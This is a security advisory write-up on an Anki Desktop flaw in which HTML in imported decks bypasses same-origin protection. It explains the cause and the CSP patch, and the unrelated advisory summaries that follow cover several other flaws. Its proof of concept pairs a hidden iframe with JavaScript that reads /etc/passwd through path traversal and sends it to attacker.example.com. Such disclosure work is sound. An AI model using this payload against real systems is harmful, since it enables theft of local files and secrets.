Jun 22, 2026·4 min read·6 visits
User-supplied HTML and SVG files within imported Anki decks can bypass Same-Origin Policy protections inside Anki's local media server, enabling unauthenticated reads of sensitive local files and immediate out-of-band data exfiltration.
Anki Desktop for Windows, macOS, and Linux is vulnerable to local file disclosure and data exfiltration due to an iframe-based Same-Origin Policy (SOP) bypass. Maliciously crafted user scripts inside imported deck files run within the localhost context, bypassing security filters to query internal endpoints and read arbitrary system files.
Anki Desktop utilizes an embedded browser framework based on QtWebEngine to render flashcards. To facilitate rendering media assets and communicating with the core Rust backend, Anki executes a local WSGI HTTP server (mediasrv.py) driven by Waitress. This server binds to the localhost interface on a dynamically selected TCP port.
Because the browser interface processes arbitrary user-supplied card contents, Anki must enforce strict origin boundary controls. If user-submitted files execute within the same origin as the local management API, they gain access to restricted endpoints. This vulnerability permits untrusted resources to bridge the security boundary and read local configuration files, databases, or keys.
The root cause of GHSA-CW6H-FFMH-X6VH is the complete absence of a Content Security Policy (CSP) header on served media assets, coupled with shared origin execution. When a flashcard renders an HTML or SVG media element, the assets are loaded from the loopback address (e.g., http://127.0.0.1:port/media/file.html).
Because the parent page and the iframe share the exact same protocol, domain name, and port, they belong to the same origin. The browser's Same-Origin Policy permits scripts inside the frame to access the parent DOM structure and query internal APIs directly.
By leveraging endpoints such as getImageForOcclusion—which accepts paths and retrieves local disk resources without directory-traversal mitigation (CWE-22)—the script reads host files. The isolated origin context can then immediately transmit this retrieved information to external systems using simple cross-origin image requests.
Prior to the implementation of the patch, the application server processed file requests inside _handle_local_file_request(req) without validating origin trust or appending security headers. The mitigation resolves this issue by introducing UNTRUSTED_MEDIA_CSP inside qt/aqt/mediasrv.py.
This policy restricts scripting, network requests, frame loading, and enforces a unique sandboxed environment.
# Defined sandbox CSP policy within the patched media server
UNTRUSTED_MEDIA_CSP = "; ".join([
"default-src 'none'",
"script-src 'none'",
"connect-src 'none'",
"object-src 'none'",
"frame-src 'none'",
"child-src 'none'",
"base-uri 'none'",
"form-action 'none'",
"sandbox" # Enforces an opaque, isolated origin
])During file dispatch, the media server checks the request.untrusted flag and appends the policy to prevent script execution on active documents.
# Response generation with CSP header injection
response = flask.send_file(
fullpath,
mimetype=mimetype,
conditional=True,
max_age=max_age,
download_name="foo"
)
if request.untrusted:
response.headers["Content-Security-Policy"] = UNTRUSTED_MEDIA_CSP
return responseAn attacker exploits this design flaw by preparing a custom deck archive containing a malicious page, payload.html, and a flashcard layout containing an invisible frame.
<iframe src="payload.html" style="display:none;" width="0" height="0"></iframe>When loaded, payload.html executes JavaScript inside the local origin. The script calls the vulnerable endpoint, exploiting directory traversal to locate sensitive target directories.
async function exfil() {
let fileRequest = await fetch('/_anki/getImageForOcclusion', {
method: 'POST',
headers: { 'Content-Type': 'application/binary' },
body: JSON.stringify({ path: '../../../../../../../../../../etc/passwd' })
});
let content = await fileRequest.text();
new Image().src = 'https://attacker.example.com/log?data=' + btoa(content);
}
exfil();This script runs transparently whenever the card is viewed, leaking host files without raising errors or warnings to the user.
This vulnerability is classified as Medium severity with a CVSS 3.1 score of 6.5. Successful exploitation allows an attacker to retrieve any local document readable by the active user account.
Threat actors can target credentials, private keys, browser session stores, and internal program configurations. Because the execution engine retains outbound connection capabilities, the retrieved information can be sent immediately to external capture points.
The attack requires the target user to manually import a compromised deck, limiting direct automated exploitation vectors.
The introduction of UNTRUSTED_MEDIA_CSP successfully neutralizes immediate scripting execution paths. However, the traversal check in ensure_safe_path contains potential design limitations. The path verification checks are performed using os.path.abspath instead of resolving final files.
def ensure_safe_path(base_dir, path):
base_dir = os.path.realpath(base_dir)
path = os.path.normpath(path)
fullpath = os.path.abspath(os.path.join(base_dir, path))
if not fullpath.startswith(base_dir + os.sep):
raise UnsafePathException(path)
return fullpathBecause os.path.abspath does not resolve nested symbolic links, a zipped deck containing functional symbolic links could theoretically trigger an external file read when processed by the operating system file server.
Furthermore, HTTP GET queries triggered by HTML tags (such as <img>) do not carry Origin HTTP headers, which may expose GET-based administration parameters to Cross-Site Request Forgery (CSRF) attempts.
| Product | Affected Versions | Fixed Version |
|---|---|---|
aqt Anki | <= 25.09.3 | 25.09.4 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-346 / CWE-22 |
| Attack Vector | Network |
| CVSS Score | 6.5 |
| Exploit Status | Proof-of-Concept Available |
| KEV Status | Not Listed |
A critical vulnerability exists in the stigmem-node package when running the opt-in stigmem-plugin-multi-tenant plugin. Due to a failure to enforce tenant-scoping filters on database queries within the decay sweep, quarantine moderation, and right-to-be-forgotten (RTBF) subsystems, an authorized caller belonging to one tenant can access, modify, and delete facts belonging to all other tenants. This broken object level authorization (BOLA) vulnerability allows cross-tenant data manipulation and information leakage.
An origin validation error and cross-site request forgery vulnerability in @zenalexa/unicli prior to version 0.225.2 allows cross-origin web applications to execute arbitrary tools on a user's local machine via the legacy stateless HTTP transport.
EverOS versions 1.0.0 and earlier contain a path traversal vulnerability in the user memory ingestion endpoint. By exploiting this flaw, unauthenticated network attackers can escape the designated database memory root and write arbitrary Markdown files to target directories on the local system.
GHSA-X975-RGX4-5FH4 is a high-severity Cross-Site Scripting (XSS) vulnerability residing in the Model Context Protocol (MCP) User Interface (UI) component of appium-mcp, an NPM package integrating Appium with MCP clients. The flaw exists within the createLocatorGeneratorUI utility function, which renders UI metadata directly into an HTML template page without performing sanitization or encoding. Because MCP clients use window.parent.postMessage to send commands from the UI to the host, this XSS can be escalated to trigger arbitrary MCP tool calls, potentially leading to Remote Code Execution (RCE) on the host running the MCP client.
An Insecure Direct Object Reference (IDOR) and missing authorization flaw in OpenRemote Manager allows an authenticated, low-privilege multi-tenant user to execute cross-realm bulk alarm deletion, resulting in permanent destruction of safety-critical alarms belonging to other tenants.
An insecure file extraction vulnerability exists in the UbuntuCorpusTrainer component of the ChatterBot package. Due to a combination of a predictable download path, a check-then-create directory pattern, and unvalidated symbolic link resolution during archive extraction, local attackers can write arbitrary files to restricted filesystem paths.